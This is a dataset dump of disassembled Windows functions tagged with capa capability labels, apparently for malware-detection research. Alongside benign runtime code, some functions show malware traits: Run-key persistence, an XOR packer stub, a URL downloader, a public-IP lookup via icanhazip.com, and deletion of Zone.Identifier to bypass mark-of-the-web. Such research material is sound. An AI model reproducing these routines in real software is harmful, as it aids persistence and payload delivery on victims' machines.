joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100482ac
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x100482cb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
jmp 0x10048430
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jge 0x10048324
mov dword [ebp - 0xc], 1
jmp 0x10048328
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jle 0x10048344
mov eax, 0x6dd2cc91
test eax, eax
je 0x10048344
mov dword [ebp - 0x10], 1
jmp 0x10048348
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x10], eax
jl 0x1004835b
mov dword [ebp - 0x14], 1
jmp 0x1004835f
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
imul eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
imul eax, dword [ecx]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [eax], 0xd081
imul eax, eax, 0x7b1b
neg eax
mov ecx, dword [ebp - 4]
cmp eax, dword [ecx]
je 0x10048394
mov dword [ebp - 0x1c], 1
jmp 0x10048398
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
neg eax
mov ecx, dword [ebp - 4]
cmp eax, dword [ecx]
jg 0x100483ad
mov dword [ebp - 0x20], 1
jmp 0x100483b1
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, dword [ebp - 0x20]
cmp eax, 0xfffffff8
jge 0x100483c7
mov dword [ebp - 0x24], 1
jmp 0x100483cb
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x24]
sub edx, dword [ecx]
cmp dword [eax], edx
je 0x100483ed
mov dword [ebp - 0x28], 1
jmp 0x100483f1
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
cmp dword [eax], ecx
je 0x1004840e
mov dword [ebp - 0x2c], 1
jmp 0x10048412
and dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0xab462a77
ja 0x10048424
mov dword [ebp - 0x30], 1
jmp 0x10048428
and dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10049eb4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10049efb
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov byte [ecx + eax], 0
jmp 0x10049f1e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x10049f1e
push 0x22b8
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov esp, ebp
pop ebp
ret
Function at 0x10063310
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1008f39c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20], ax
xor ecx, ecx
mov word [ebp - 0x1e], cx
cmp dword [ebp + 8], 0xffffffff
jne 0x10063334
jmp 0x100633a3
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x10063348
jmp 0x100633a3
movsx ecx, word [ebp - 0x1c]
movsx edx, word [ebp - 0x1a]
imul ecx, edx
mov dword [ebp - 0x24], ecx
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
push 0x20
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
test eax, eax
jne 0x10063374
jmp 0x100633a3
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
test eax, eax
jne 0x10063395
jmp 0x100633a3
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006fbc5
mov esp, ebp
pop ebp
ret

Function at 0x10064e20
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 5]
and ecx, 0xf
movzx edx, byte [0x1067b642]
or ecx, edx
mov byte [ebp - 1], cl
movzx ax, byte [ebp - 1]
movzx ecx, ax
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 4]
push ecx
push 0x1067b828
call fcn.1005e470
add esp, 8
mov esp, ebp
pop ebp
ret 4
Function at 0x10083c75
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1008f39c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10073f5a
mov dword [ebp - 0x14], eax
cmp dword [0x1067c810], esi
jne 0x10083d68
push 0x800
push esi
push 0x100093cc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10083cf5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10083e48
push esi
push esi
push 0x100093cc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10083e48
push 0x100093e4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10083e48
push eax
call ebx
push 0x100093f0
push edi
mov dword [0x1067c810], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10009400
push edi
mov dword [0x1067c814], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10009414
push edi
mov dword [0x1067c818], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1067c820], eax
test eax, eax
je 0x10083d65
push 0x10009430
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1067c81c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10083d8d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10083d80
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10083da2
push 4
pop eax
jmp 0x10083e4a
cmp dword [ebp - 0x14], esi
je 0x10083da2
push dword [0x1067c810]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10083d87
mov eax, dword [0x1067c81c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10083e00
cmp dword [0x1067c820], edi
je 0x10083e00
push eax
call ebx
push dword [0x1067c820]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10083e00
test eax, eax
je 0x10083e00
call ecx
test eax, eax
je 0x10083df5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10083df5
test byte [ebp - 8], 1
jne 0x10083e00
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10083e30
mov eax, dword [0x1067c814]
cmp eax, edi
je 0x10083e2d
push eax
call ebx
test eax, eax
je 0x10083e2d
call eax
mov esi, eax
test esi, esi
je 0x10083e2d
mov eax, dword [0x1067c818]
cmp eax, edi
je 0x10083e2d
push eax
call ebx
test eax, eax
je 0x10083e2d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1067c810]
call ebx
test eax, eax
je 0x10083e48
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10083e4a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006fbc5
mov esp, ebp
pop ebp
ret
Function at 0x41522c
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x448821
call fcn.0042e115
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x415338
cmp byte [esi + 0x46], bl
je 0x415338
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x415268
xor al, al
jmp 0x41533a
push ebx
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.00416955
mov dword [ebp - 4], ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x415293
mov dword [ebp - 0x30], edi
jmp 0x415299
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x30], ecx
cmp eax, 0x10
jae 0x4152a1
lea edi, [ebp - 0x28]
mov ecx, dword [esi + 0x40]
lea eax, [ebp - 0x2c]
mov edx, dword [ecx]
push eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x30]
push eax
push edi
lea eax, [esi + 0x48]
push eax
call dword [edx + 0x20]
sub eax, ebx
je 0x4152c7
dec eax
je 0x4152ca
dec eax
dec eax
jne 0x41532c
inc eax
jmp 0x41532a
mov byte [esi + 0x46], bl
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
mov edx, edi
cmp eax, 0x10
jae 0x4152da
lea edx, [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub ecx, edx
mov dword [ebp - 0x30], ecx
je 0x415308
cmp eax, 0x10
jae 0x4152ec
lea edi, [ebp - 0x28]
push dword [esi + 0x50]
push ecx
push 1
push edi
call fcn.0042f9af
mov ecx, dword [ebp - 0x30]
add esp, 0x10
cmp ecx, eax
jne 0x415328
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
cmp byte [esi + 0x46], 0
je 0x415326
test ecx, ecx
jne 0x415289
push ebx
push 8
lea ecx, [ebp - 0x28]
call fcn.004167c4
jmp 0x415283
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [ebp - 0x28]
call fcn.00413d90
mov al, bl
jmp 0x41533a
mov al, 1
call fcn.0042e0c4
ret
Function at 0x4238db
Capabilities:
Persist via run registry key

Disassembly:
push 0x54
mov eax, 0x449c21
call fcn.0042e115
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
test edi, edi
je 0x423a1f
push 7
xor ecx, ecx
pop ebx
xor eax, eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ecx
mov word [ebp - 0x58], ax
mov dword [ebp - 4], ecx
call fcn.00430ebd
push eax
push 0x404a44
lea eax, [ebp - 0x58]
push 0x404c00
push eax
call fcn.00429df8
and dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x28], ax
mov dword [ebp - 0x2c], ebx
xor ebx, ebx
mov dword [ebp - 0x30], ebx
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 4], 2
call fcn.0042a3e4
mov eax, dword [ebp - 0x40]
add esp, 0x14
cmp dword [ebp - 0x2c], 8
jae 0x42395a
lea eax, [ebp - 0x40]
push ebx
push eax
push edi
lea eax, [ebp - 0x28]
push ebx
push eax
call fcn.0042b6ef
add esp, 0x14
test esi, esi
je 0x42397f
push esi
call fcn.0040cf9e
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.0040f99e
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push 0x404a68
push 0x80000001
call dword [0x45076c]
xor esi, esi
inc esi
test eax, eax
je 0x4239af
push eax
push 0x404c10
jmp 0x4239e4
cmp dword [ebp - 0x14], 8
mov edx, dword [ebp - 0x28]
jae 0x4239bb
lea edx, [ebp - 0x28]
cmp dword [ebp - 0x44], 8
mov ecx, dword [ebp - 0x58]
jae 0x4239c7
lea ecx, [ebp - 0x58]
mov eax, dword [ebp - 0x18]
add eax, eax
push eax
push edx
push esi
push ebx
push ecx
push dword [ebp - 0x60]
call dword [0x45077c]
test eax, eax
je 0x4239f2
push eax
push 0x404ca0
push dword [0x44f0e8]
call fcn.0040be3c
add esp, 0xc
cmp dword [ebp - 0x60], 0
je 0x423a01
push dword [ebp - 0x60]
call dword [0x450e20]
push ebx
push esi
lea ecx, [ebp - 0x40]
call fcn.0040cd72
push ebx
push esi
lea ecx, [ebp - 0x28]
call fcn.0040cd72
push ebx
push esi
lea ecx, [ebp - 0x58]
call fcn.0040cd72
xor al, al
call fcn.0042e0c4
ret
Function at 0x438e80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x438e31
call fcn.00434efc
mov dword [eax], 0x16
call fcn.0043443e
jmp 0x438f45
call fcn.00433615
test eax, eax
js 0x438f45
mov eax, dword [edi + 0xc]
test al, 0x83
je 0x438f45
test al, 0x40
jne 0x438f45
test al, 2
je 0x438e60
or eax, 0x20
mov dword [edi + 0xc], eax
jmp 0x438f45
or eax, 1
mov dword [edi + 0xc], eax
test eax, 0x10c
jne 0x438e76
push edi
call fcn.00438c79
pop ecx
jmp 0x438e7b
mov eax, dword [edi + 8]
mov dword [edi], eax
push dword [edi + 0x18]
push dword [edi + 8]
or byte [edi - 0x18], dl
or eax, 0x59ffffe7
push eax
call fcn.0043db6f
add esp, 0xc
mov dword [edi + 4], eax
test eax, eax
je 0x438f34
cmp eax, 1
je 0x438f34
cmp eax, 0xffffffff
je 0x438f34
test byte [edi + 0xc], 0x82
jne 0x438f05
push edi
call fcn.00437594
pop ecx
cmp eax, 0xffffffff
je 0x438ef0
push edi
call fcn.00437594
pop ecx
cmp eax, 0xfffffffe
je 0x438ef0
push esi
push edi
call fcn.00437594
mov esi, eax
push edi
sar esi, 5
call fcn.00437594
and eax, 0x1f
pop ecx
shl eax, 6
add eax, dword [esi*4 + 0x4523c0]
pop ecx
pop esi
jmp 0x438ef5
mov eax, 0x44f448
mov al, byte [eax + 4]
and al, 0x82
cmp al, 0x82
jne 0x438f05
or dword [edi + 0xc], 0x2000
cmp dword [edi + 0x18], 0x200
jne 0x438f24
test byte [edi + 0xc], 8
je 0x438f24
test dword [edi + 0xc], 0x400
jne 0x438f24
mov dword [edi + 0x18], 0x1000
mov ecx, dword [edi]
add dword [edi + 4], 0xfffffffe
movzx eax, word [ecx]
add ecx, 2
mov dword [edi], ecx
jmp 0x438f4a
neg eax
sbb eax, eax
and eax, 0x10
add eax, 0x10
or dword [edi + 0xc], eax
and dword [edi + 4], 0
mov eax, 0xffff
pop edi
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x404314
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404318
push 0x407d28
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404320
push 0x407d28
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x407d28
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x407d28
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x407df0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x407df0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x407df0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x407df0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x407df0
mov esp, ebp
pop ebp
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.d2d2dsa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x407cec
call section..text
add esp, 4
push eax
push 0x404e08
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x40281e
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402808
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x426940
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b036b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004a4fb8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4269c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a2e92
mov eax, dword [eax]
push 0x4cec94
push eax
call fcn.00495044
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004a5243
test bl, bl
je 0x4269c2
push 0x4cec94
lea ecx, [esp + 0xc]
call fcn.004a55d3
push 0x4ceca0
lea ecx, [esp + 0xc]
call fcn.004a55d3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4269fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004a5243
jmp 0x426ac9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x426a82
lea edx, [esp + 0x7c]
push 0x4cec9c
push edx
call fcn.00495044
add esp, 8
test eax, eax
je 0x426a82
lea eax, [esp + 0x7c]
push 0x4cec98
push eax
call fcn.00495044
add esp, 8
test eax, eax
je 0x426a82
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x426a12
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004a5243
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4272d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x427332
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc